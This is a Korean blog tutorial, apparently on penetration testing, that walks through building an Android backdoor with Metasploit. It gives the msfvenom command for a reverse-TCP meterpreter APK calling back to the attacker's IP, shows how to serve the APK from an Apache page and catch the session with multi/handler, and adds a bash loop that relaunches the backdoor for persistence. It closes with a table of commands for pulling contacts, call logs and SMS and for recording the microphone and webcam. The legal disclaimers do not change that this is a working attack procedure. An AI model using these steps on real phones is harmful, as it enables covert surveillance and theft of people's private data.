Android Metasploit 안드로이드 해킹

Metasploit을 이용한 Android Backdoor 만들기

※ 외부 네트워크를 통한 불법적인 해킹은 범죄 행위입니다. ※

※ 이 블로그의 모의해킹 글은 가상 머신을 통해서 이루어진 모의해킹입니다. ※

□ Metasploit은 무엇인가?

메타스플로잇은 오픈소스 도구로, 공격 코드, 페이로드 인코더, 정찰 도구, 보안 테스팅 등을 제공하는 일종의 체계이다.

□ 무엇을 보여줄 것인가?

Metasploit을 이용하여 Android 백도어 프로그램을 만들어서 명령어를 이용해, Android 휴대폰의 정보들을 빼 올 것이다.

□ 내용

1. 안드로이드 해킹 백도어 애플리케이션을 만들려면 먼저 공격자의 아이피를 알아야 한다.

ifconfig를 입력해서 IP 정보를 알아낼 수 있다.

2. msfvenom을 이용해서 백도어 애플리케이션을 생성시킨다.

msfvenom -p android/meterpreter/reverse_tcp LHOST=[공격자 IP] LPORT=[임의적 포트] R > [APK 파일 생성 경로]

■ msfvenom과 프로그램에 따른 옵션에 대해서

▶ msfvenom 이란?

msfvenom은 안드로이드에 Backdoor을 만들어서 root 권한을 획득하여 연락처, 최근 통화목록을 가져오고 카메라를 제어하는 등의 여러가지 취약점 진단을 할 수 있는 Metasploit의 기능이다.

▶ PAYLOAD(-p)란?

익스플로잇 성공 후 대상 시스템에 대한 추가 공격을 위한 코드 모음이다.

msfvenom -l을 입력하면 Payload 리스트들을 볼 수 있다.

▶ R > [APK 파일 생성 경로]

APK 파일 생성 경로 설정

3. APK 파일을 다운받을 수 있게 도와주는 아파치 웹서버를 시작해준다.

service apache2 start

아파치 웹 서버 경로: /var/www/html

4. 웹페이지를 접속하자마자 다운로드 사이트가 나오게 할 것이다.

/var/www/html/index.html을 수정

▷ msfconsole을 띄우기 전에 먼저 사용할 모듈에 대해 알고 있어야 한다.

■ 모듈이란?

metasploit framework에 의해 사용될 수 있는 소프트웨어의 한 부분

■ 모듈에 관한 정보들은 어떻게 찾나?

1. msfconsole 창에서 search를 입력해준다.

2. 사용할 모듈 : exploit/multi/handler를 찾아준다.

3. 명령어 : info exploit/multi/handler로 해당 모듈에 대한 세부정보를 찾아볼 수 있다.

5. 터미널에 msfconsole을 입력한다.

msfconsole: 콘솔 기반 인터페이스로 메타스플로잇의 대부분 기능을 지원

6. 찾아낸 모듈을 msfconsole에 입력한다.

7. 안드로이드 백도어 앱을 만들어줄 때 설정한 PAYLOAD를 콘솔 창에 입력한다.

set PAYLOAD [설정한 payload]

8. 공격자 IP 설정

set LHOST [ 공격자 IP ]

9. PORT 설정

set LPORT [백도어 앱과 통신할 포트 설정]

10. 마지막으로 exploit을 입력한 뒤, 사용자가 백도어 앱을 실행할 때까지 기다려준다.

11. 안드로이드 폰에서 아파치 서버를 접속해준다.

다운로드 링크를 클릭해서 앱을 다운로드한다.

12. 앱이 설치가 완료되었다면 앱을 실행시켜준다.

13. msfconsole에는 세션이 시작됐다는 메시지가 뜬다.

14. 세션이 끊어질 상황에 대비해서 쉘 스크립트 파일을 만든다.

■ 쉘 스크립트

#!/bin/bash //사용하려는 명령어 해석기가 bash 쉘 임을 미리 알려주는 것이다.

while : //아래의 명령들을 무한반복 시켜준다.

do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity

/*am start: am은 activity manager의 약자이고, 액티비티를 시작한다.

--user 0: user_id가 0인 사용자에게 액티비티를 실행한다.

-n [패키지 명]/[액티비티 경로명]: /[액티비티 경로]에서 패키지명은 dot(.) 로 대체 가능하다.

sleep 10; //10초 쉰다.

done //while문을 종료한다.

→쉘 스크립트를 이용하여 사용자의 백도어 앱을 10초 동안 계속 실행시켜주는 역할을 한다.

▶ 안드로이드 패키지 리스트 보는 법

adb shell

안드로이드 명령어 환경을 구성해준다.

pm list packages -f

-f 옵션이 있으면 apk 위치까지 함께 표시한다.

백도어 앱에 대한 패키지 명을 찾았다.

▶ 안드로이드 user list 보는 법

1. adb shell //안드로이드 명령어 환경을 구성해준다.

2. 명령어 : pm list users //안드로이드 user의 세부정보를 확인한다.

15. 쉘 스크립트 파일을 안드로이드 폰에 업로드 한다.

cd [업로드 할 경로] cd : 현재 경로에서 목적지 경로로 이동한다.

upload [스크립트 파일 경로] [업로드 할 경로] upload : 업로드 할 파일을 써주고 업로드 되는 경로를 써준다.

16. ls명령어로 파일이 정상적으로 업로드 되었는지 확인한다.

17. shell명령어로 안드로이드 명령어를 입력할 수 있도록 쉘 환경으로 만든다.

18-1. cd /sdcard //script.sh 파일을 동작시키기 위해 파일이 있는 경로로 이동한다.

18-2. sh script.sh //sh 명령어로 script.sh 파일을 실행한다.

18-3. script.sh //파일이 실행이 시작되었다는 문구를 봤다면 단축키 Ctrl+C로 shell 환경을 빠져나온다.

19. 안드로이드 스마트폰을 재부팅 시켜준다.

안드로이드 폰을 재부팅 시키면 msfconsole 창에는 세션이 끊어졌다고 뜬다.

20. exploit을 입력한 뒤, 안드로이드 스마트폰이 다시 부팅될 때까지 기다려준다.

10초 쉬었다가 다시 액티비티를 실행해주는 script.sh 파일 덕분에 세션이 끊어져도 다시 연결되는 것을 볼 수 있다.

21. help를 입력해서 meterpreter의 명령어가 무엇이 있는지 알아본다.

분류	명령어	내용
파일 시스템 명령어	cd	디렉터리 경로를 이동할 때 쓰는 명령어
	ls	디렉터리에 있는 모든 파일 리스트 원할 때 쓰는 명령어
	rm	파일을 지울 때 쓰는 명령어
	upload	파일을 업로드 시키고 싶을 때 쓰는 명령어
시스템 명령어	ps	현재 실행되는 프로세스의 리스트를 보고 싶을 때 쓰는 명령어
	shell	안드로이드 폰에 명령어를 쓰고 싶을 때 쓰는 명령어
	sysinfo	백도어가 깔려 있는 안드로이드 폰에 대한 정보를 보고 싶을 때 쓰는 명령어
네트워크 명령어	ifconfig	안드로이드 폰에 대한 네트워크 주소를 알고 싶을 때 쓰는 명령어
안드로이드 명령어	send_sms	번호를 입력하고 자신이 보낼 문구를 입력하면 백도어가 설치된 안드로이드 폰으로 메시지를 보낼 때 쓰는 명령어 ( send_sms –d [번호] -t [메시지 보낼 문구] )
	dump_calllog	전화 기록 리스트를 가져올 때 쓰는 명령어
	dump_contacts	전화번호부 리스트를 가져올 때 쓰는 명령어
	dump_sms	보낸, 받은 메시지 리스트를 가져올 때 쓰는 명령어
웹캠 명령어	record_mic	안드로이드 폰 마이크 권한을 이용해 오디오를 녹음시킬 때 쓰는 명령어 ( record_mic -d [녹음하고 싶은 초 단위] )
	webcam_list	장치에 입력되어있는 웹캠 리스트들을 나열할 때 쓰는 명령어
	webcam_snap	장치에 입력되어 있는 웹캠을 이용해서 사진을 찍을 때 쓰는 명령어 ( webcam_snap -l [list의 나온 값] )
	webcam_stream	장치에 입력되어 있는 웹캠을 이용해서 실시간 동영상을 보고 싶을 때 쓰는 명령어 ( webcam_stream -l [list의 나온 값] )

※ 외부 네트워크를 통한 불법적인 해킹은 범죄 행위입니다. ※

※ 이 블로그의 모의해킹 글은 가상 머신을 통해서 이루어진 모의해킹입니다. ※

[출처] : https://hackerrok.tistory.com/4

저작자표시 변경금지

티스토리툴바